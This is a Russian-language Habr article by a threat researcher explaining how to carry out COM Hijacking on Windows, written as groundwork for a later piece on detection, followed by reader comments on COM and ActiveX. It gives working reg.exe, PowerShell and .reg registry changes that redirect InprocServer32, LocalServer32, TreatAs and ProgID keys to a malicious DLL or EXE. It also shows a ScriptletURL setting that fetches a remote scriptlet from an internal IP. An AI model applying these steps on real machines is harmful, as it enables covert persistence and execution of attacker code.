Привет, Хабр!

Сегодня я продолжу рассказывать о Component Object Model (COM). В прошлой статье мы разобрали различные аспекты хранения COM-объектов в реестре, а также изучили стратегии, которыми может пользоваться злоумышленник для выбора объекта с целью последующей атаки COM Hijacking.

Сегодня я предлагаю поподробнее рассмотреть способы проведения данной атаки, чтобы в дальнейшем разобрать возможные варианты ее обнаружения. Напомню, что COM Hijacking - это атака, позволяющая злоумышленнику перехватить выполнение легитимного COM-объекта и заменить его на свой вредоносный, например, на шелл, который будет устанавливать связь с C2 сервером. Атакующий выбирает, как правило, часто выполняющийся COM-объект, и таким образом осуществляется закрепление в системе.

Условно атаку COM Hijacking можно разделить на три этапа:

  • Выбор подходящего COM-объекта (подготовительный этап - рассмотрен в предыдущей статье);

  • Подмену COM-объекта на вредоносный;

  • Запуск вредоносного COM-объекта.

Подмену COM-объекта можно достичь разными способами. Например, за счет использования таких ключей реестра, как:InprocServer, LocalServer, TreatAs, ScriptletURL, ProgID и VersionIndependentProgID, а также за счет подмены исполняемого файла на диске.
Все способы, кроме последнего, полагаются на единый принцип - изменения в реестре, где приоритет отдается одним веткам и ключам над другими. Про игру приоритетов я рассказывала в прошлом материале. В нем мы узнали, что приоритет ключей в реестре определяется в следующем порядке: TreatAs > InprocServer32 > LocalServer32. И приоритет этих ключей выше приоритета использования одной из веток HKCU и HKCR.

Схематично это можно увидеть на Рисунке 1.

Рисунок 1 - Приоритет ключей в реестре
Рисунок 1 - Приоритет ключей в реестре

Вспомнив принципы работы атаки COM Hijacking, давайте детальнее рассмотрим каждый из методов для ее проведения. И начнем со способа, где для Hijacking используется ключ InprocServer в реестре.

COM-hijacking с помощью InprocServer

Ключ InprocServer применяется для указания dll-файла, который при вызове соответствующего COM-объекта загрузится в память вызывающего его процесса.

Суть метода заключается в том, чтобы в ветке HKCU прописать вредоносную dll. Таким образом, dll, указанная в HKCU, будет иметь больший приоритет для выполнения, если вызывающий процесс обладает соответствующим уровнем целостности.

Именно здесь используется выбранный на предыдущем этапе COM-объект. Для удобства демонстрации атаки мною был выбран COM-объект {72C24DD5-D70A-438B-8A42-98424B88AFB8} - Wscript.Shell.

До атаки данный CLSID был прописан только в ветке HKLM (рисунок 2):

Рисунок 2 - До атаки параметр InprocServer указан только в HKLM
Рисунок 2 - До атаки параметр InprocServer указан только в HKLM

При вызове данного объекта в Process Monitor можно заметить, что первым делом проверяется ветка HKCU, но файл не найден (NAME NOT FOUND), и впоследствии происходит проверка COM-объекта в HKLM (рисунки 3 и 4).

Рисунок 3 - Проверка ключа InprocServer в HKCU до атаки
Рисунок 3 - Проверка ключа InprocServer в HKCU до атаки
Рисунок 4 - Загрузка dll из HKLM в память процесса
Рисунок 4 - Загрузка dll из HKLM в память процесса

После проведения атаки на выбранный нами COM-объект мы увидим, что в реестре проверка ключа InprocServer в HKCU завершается успехом (SUCCESS) (рисунок 5) и в результате подгружается вредоносная dll, что отображено на рисунках 6 и 7:

Рисунок 5 - Проверка ключа InprocServer в HKCU после атаки
Рисунок 5 - Проверка ключа InprocServer в HKCU после атаки
Рисунок 6 - Загрузка вредоносной dll из HKCU в память процесса
Рисунок 6 - Загрузка вредоносной dll из HKCU в память процесса
Рисунок 7 - Вредоносная dll загрузилась в память вызывающего процесса
Рисунок 7 - Вредоносная dll загрузилась в память вызывающего процесса

Так как данный способ основан на изменении реестра, то нам подойдут любые инструменты, позволяющие редактировать реестр. Первый из рассмотренных мной был reg.exe. С помощью данной утилиты можно внести изменения двумя способами:

Способ 1 - внести все изменения вручную:

REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32 /t REG_SZ /d C:\hijacking_dll.dll

REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32 /t REG_SZ /v ThreadingModel /d Apartment

Для того, чтобы удаленно редактировать реестр требуется включить службу Remote Registry. В данном случае все изменения в реестре будут производится процессом C:\Windows\system32\svchost.exe -k localService -p -s RemoteRegistry.

С помощью инструментов reg.exe и оснастки regedit нельзя удаленно редактировать ветку HKEY_CURRENT_USER, но так как HKCU является ссылкой на HKU, то достаточно внести изменения в HKEY_USERS\{SID}.

Способ 2 - заранее в файле подготовить все изменения в реестре, а далее произвести импорт:

Пример файла конфигурации
Windows Registry Editor Version 5.00  

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InprocServer32] @="C:\\hijacking_dll.dll "ThreadingModel"="Apartment" 

Ниже показан пример команды для применения конфигурации:

reg import C:\hijacking.reg /reg:64

Второй инструмент, который можно использовать для редактирования реестра - Powershell. Командлеты, которые нужно в нем запустить, выглядят следующий образом:

# Добавление записей в реестр
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InprocServer32' -Value C:\hijacking_dll.dll
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InprocServer32' -Name 'ThreadingModel' -Value 'Apartment' -PropertyType "String"
# Запуск атакованного COM-объекта
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta {72C24DD5-D70A-438B-8A42-98424B88AFB8}'

В отличии от первого инструмента, Powershell позволяет удаленно редактировать ветку HKCU. Для этого можно применять командлет Invoke-Command -ComputerName COMPUTER -ScriptBlock {...}. В данном случае используется порт 5985 и протокол WS-Management, а в событиях на удаленном хосте все изменения происходят от имени wsmprovhost.exe (Windows Remote Powershell).

В инструменте acCOMplice этот способ атаки автоматизирован с помощью функции Hijack-CLSID:

Hijack-CLSID -guid "72C24DD5-D70A-438B-8A42-98424B88AFB8" -DLL "C:\hijacking_dll.dll"
Cleanup-Hijacks

Данный скрипт написан на Powershell и использует вышеупомянутую функцию New-Item. Также в качестве входного параметра можно выбрать InprocServer или LocalServer.

Далее мы рассмотрим еще один способ атаки с использованием ключа LocalServer.

COM-hijacking с помощью LocalServer

Атака с LocalServer проводится также, как и с использованием ключа InprocServer/InprocServer32. Отличие только в том, что COM-объект будет загружен как отдельный процесс. Как это выглядит на практике я расскажу далее.

И в качестве примера для демонстрации атаки я буду использовать объект InternetExplorer c CLSID {0002DF01-0000-0000-C000-000000000046}. Для внесения изменений в реестр можно применять утилиты из прошлого метода:

# Внесение изменений в реестре
REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0002DF01-0000-0000-C000-000000000046}\LocalServer32 /t REG_SZ /d C:\hijacking_exe.exe
# Запуск атакованного COM-объекта
New-Object -ComObject InternetExplorer.Application.1

Ниже на рисунках показан вызов COM-объекта, который происходил из Powershell.

Рисунок 8 - Запуск COM-объекта в качестве нового процесса
Рисунок 8 - Запуск COM-объекта в качестве нового процесса

В качестве родительского процесса здесь выступает svchost.exe -k DcomLaunch -p.

Рисунок 9 - Запуск вредоносного исполняемого файла в качестве нового процесса
Рисунок 9 - Запуск вредоносного исполняемого файла в качестве нового процесса
Рисунок 10 - Информация о родительском процессе, который запустил ВПО
Рисунок 10 - Информация о родительском процессе, который запустил ВПО

Как мы видим из рисунков 8,9,10 вредоносный исполняемый файл загружен как отдельный процесс, и в качестве родителя выступает служба DcomLaunch.

Перейдем к следующему способу.

COM-hijacking с помощью TreatAs

В данном методе перехват осуществляется за счет перенаправления определенного COM-объекта на другой. То есть мы регистрируем свой CLSID в кусте реестра HKCU с вредоносным COM-объектом, а далее за счет ключа TreatAs перенаправляем легитимный COM-объект на вредоносный CLSID.

В нашем примере мы перехватим COM-объект с GUID {72C24DD5-D70A-438B-8A42-98424B88AFB8} (Рисунок 12) и перенаправим его на COM-объект с GUID {00000001-0000-0000-0000-0000FEEDACDC} (Рисунок 11).
Редактирование реестра осуществляется с помощью утилит, рассмотренных в первом способе. Ниже под спойлером предствлен файл конфигурации, применимый к данному методу атаки.

Файл конфигурации с необходимыми изменениями
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@="ComHijacking"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32]
@="C:\\hijacking_dll.dll"
"ThreadingModel"="Apartment"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}]

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TreatAs]
@="{00000001-0000-0000-0000-0000FEEDACDC}"

Рисунок 11 - Новый вредоносный COM-объект (на который будет осуществляться перенаправление)
Рисунок 11 - Новый вредоносный COM-объект (на который будет осуществляться перенаправление)
Рисунок 12 - Добавление ключа для перенаправления на другой COM-объект
Рисунок 12 - Добавление ключа для перенаправления на другой COM-объект

Аналогично можно перенаправлять на объект с LocalServer. (Рисунок 13, 14)

Перенаправление на COM-объект с LocalServer происходит с помощью следующей команды:

# Добавление записей в реестр о новом вредоносном объекте
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /T REG_SZ /d "ComHijacking" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\LocalServer32" /ve /T REG_SZ /d "C:\hijacking_exe.exe" /f

# Добавление записей в реестр для перенаправления на новый вредоносный объект
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0002DF01-0000-0000-C000-000000000046}\TreatAs" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f

# Запуск атакованного COM-объекта
New-Object -ComObject InternetExplorer.Application.1
Рисунок 13 - Порядок обращения к реестру при COM-hijacking за счет ключа TreatAs
Рисунок 13 - Порядок обращения к реестру при COM-hijacking за счет ключа TreatAs
Рисунок 14 - Обращение к COM-объекту родительского процесса при использовании ключа LocalServer
Рисунок 14 - Обращение к COM-объекту родительского процесса при использовании ключа LocalServer

COM-hijacking с помощью ProgID и VersionIndependentProgID

Приложение на компьютере может использовать ProgID\VersionIndependentProgID, если ему неизвестен CLSID компонента. Для захвата ProgID возможно добавить ложную запись ProgID в HKCU с вредоносным CLSID. И после этого зарегистрировать наш вредоносный CLSID.

Покажу это на примере COM-объекта {72C24DD5-D70A-43 8B-8A42-98424B88AFB8} - Wscript.Shell. На рисунках 15,16,17 представлена конфигурация данного COM-объекта по умолчанию в ветке HKLM до проведения атаки.

Рисунок 15 - Определение ProgID\VersionIndependentProgID в реестре
Рисунок 15 - Определение ProgID\VersionIndependentProgID в реестре
Рисунок 16 - СапостовлениеProgID в CLSID
Рисунок 16 - СапостовлениеProgID в CLSID
Рисунок 17 - СапостовлениеVersionIndependentProgID в CLSID
Рисунок 17 - СапостовлениеVersionIndependentProgID в CLSID

Для внесения изменений также можно использовать утилиты из метода с использованием ключа InprocServer.

Ниже приведена конфигурация с требуемыми изменениями. ProgID и VersionIndependentProgID можно использовать как вместе, так и по отдельности.

Конфигурация реестра
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@="ComHijacking"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32]
@="C:\\hijacking_dll.dll"
"ThreadingModel"="Apartment"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]
@="WScript.Shell.1"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
@="WScript.Shell"

[HKEY_CURRENT_USER\SOFTWARE\Classes\WScript.Shell]
@=""

[HKEY_CURRENT_USER\SOFTWARE\Classes\WScript.Shell\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"

[HKEY_CURRENT_USER\SOFTWARE\Classes\WScript.Shell.1]
@=""

[HKEY_CURRENT_USER\SOFTWARE\Classes\WScript.Shell.1\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"

Для того чтобы перехват сработал, необходимо обязательно вызывать COM-объект по ProgID\VersionIndependentProgID. Если мы попытаемся выполнить его через CLSID, который в данном случае не захватывается, то атака не сработает.

Ниже представлен пример вызова по ProgID c помощью предустановленного компонента ОС Windows rundll32.exe:

rundll32 -sta ProgID

Рассмотрим еще один ключ для проведения атаки Hijacking.

Удаленное расположение исполняемого файла с помощью ключа ScriptletURL

Если мы не хотим размещать на диске у жертвы свою вредоносную DLL, то в реестре для COM-объектов есть специальный ключ ScriptletURL, который позволяет указать расположение скриптлета на внешнем ресурсе. Для примера проведения атаки с помощью этого способа возьмем следующий Scriptlet. При этом обязательно в ключе InprocServer нужно указывать scrobj.dll, иначе sct файл не выполнится.

На рисунках 18, 19, 20 представлено получение объекта scrobj.dll и скачивание с удаленного ресурса, указанного в ключе ScriptletURL скриптлета с полезной нагрузкой. Пример файла конфигурации для данного метода атаки показан под спойлером:

Необходимые изменения в реестре
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@="ComHijackingViaScriptlet"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32]
@="C:\\Windows\\System32\\scrobj.dll"
"ThreadingModel"="Apartment"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]
@="Hijack.Scriptlets"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
@="Hijack.Scriptlets"

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]
@="http://10.150.20.30/script.sct"

[HKEY_CURRENT_USER\SOFTWARE\Classes\Hijack.Scriptlets]
@=""

[HKEY_CURRENT_USER\SOFTWARE\Classes\Hijack.Scriptlets\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"

Рисунок 18 - Разрешение ProgID в CLSID и получение объекта scrobj.dll
Рисунок 18 - Разрешение ProgID в CLSID и получение объекта scrobj.dll
Рисунок 19 - Получение значения ключа ScriptletURL в реестре
Рисунок 19 - Получение значения ключа ScriptletURL в реестре
Рисунок 20 - скачивание скриптлета в кэш
Рисунок 20 - скачивание скриптлета в кэш

Подмена dll на диске

И последний рассмотренный мною способ отличается от всех остальных. В данном методе не требуется редактировать реестр и т.д. В его основе лежит определение Phantom COM-объектов, о чем я рассказывала в предыдущей статье. Далее, если имеются права, то записываем по требуемому пути и с необходимым именем свою вредоносную dll на диск.

Как показывает практика, наиболее часто встречается фантомный объект psmachine_64.dll, связанный с обновлениями браузеров Microsoft Edge или Google. Набор фантомных объектов на устройстве будет зависеть от когда-либо установленного ПО. Наличие таких объектов может быть вызвано ошибками в разработке этого ПО или некорректным удалением/обновлением, из-за чего записи в реестре останутся.

В данном случае построение детекта на основе этого способа будет отличаться от возможных способов выявления выше рассмотренных методов.

Заключение

В этой статье я разобрала основные способы проведения атаки COM Hijacking и показала, что именно использование более приоритетной ветки или ключа делает атаку возможной. На основе разобранных способов в следующей статье мы проанализируем события в журналах Windows, а также поговорим про возможные стратегии детекта данной атаки.

Стоит отметить, что все способы имеют право на жизнь, ни один не является лучше или хуже. Здесь, как говорится, выбор на вкус и цвет атакующего, а также он зависит от исходно заданных ключей COM-объекта. То есть, если, например, по умолчанию у COM-объекта будет задан в HKLM ключ TreatAs, то единственный способ проведения атаки является использование ключа TreatAs в HKCU, так как остальные ключи имеют меньший приоритет и не будут выполнены в процессе атаки.

Надеюсь, данный материал оказался для вас полезным! Если у вас появились вопросы или знаете еще какие-либо интересные способы проведения атаки, не упомянутых сегодня, то делитесь в комментариях!

Автор: Кожушок Диана( @wildresearcher) аналитик-исследователь киберугроз в компании R-Vision

Комментарии (4)


  1. nikhotmsk
    18.07.2023 17:13

    Пожалуйста, расшифруйте аббревиатуру COM хотя бы один раз.

    Это правда, что COM - это бывший ActiveX? Или наоборот? Вспоминается шуточный рассказ про фатальный недостаток.


    1. Felan
      18.07.2023 17:13
      +3

      Я не автор, но насколько я помню, ActiveX это такой специальный COM который удовлетваряет каким-то там условиям... Вроде как специальный вариант для веба. А еще там что-то про OLE было. Тоже какой-то частный случай COM.
      Ну и да, Component Object Model (COM) COM is a platform-independent, distributed, object-oriented system for creating binary software components that can interact.


    1. wildresearcher Автор
      18.07.2023 17:13
      +1

      COM (Component Object Model) - это стандарт, позволяющий разработчикам повторно использовать в своем коде независимые компоненты ПО. При этом им не нужно знать внутреннее устройство данных компонентов, заниматься их совместимостью на разных языках программирования и повторной компиляцией. В первой статье можно почитать про некоторые принципы работы данной технологии.

      ActiveX - технология, которая строится на основе COM-технологий, и предназначена для реализации сайтов в основном под браузер Internet Explorer. И как указано на сайте Microsoft ActiveX — это устаревшая технология, которую не следует использовать для новых разработок.


  1. yAndre
    18.07.2023 17:13

    Отличная в разработке и в использовании технология. Правда, слишком альтруистичная для реального мира.

    Жаль пока не придумали замену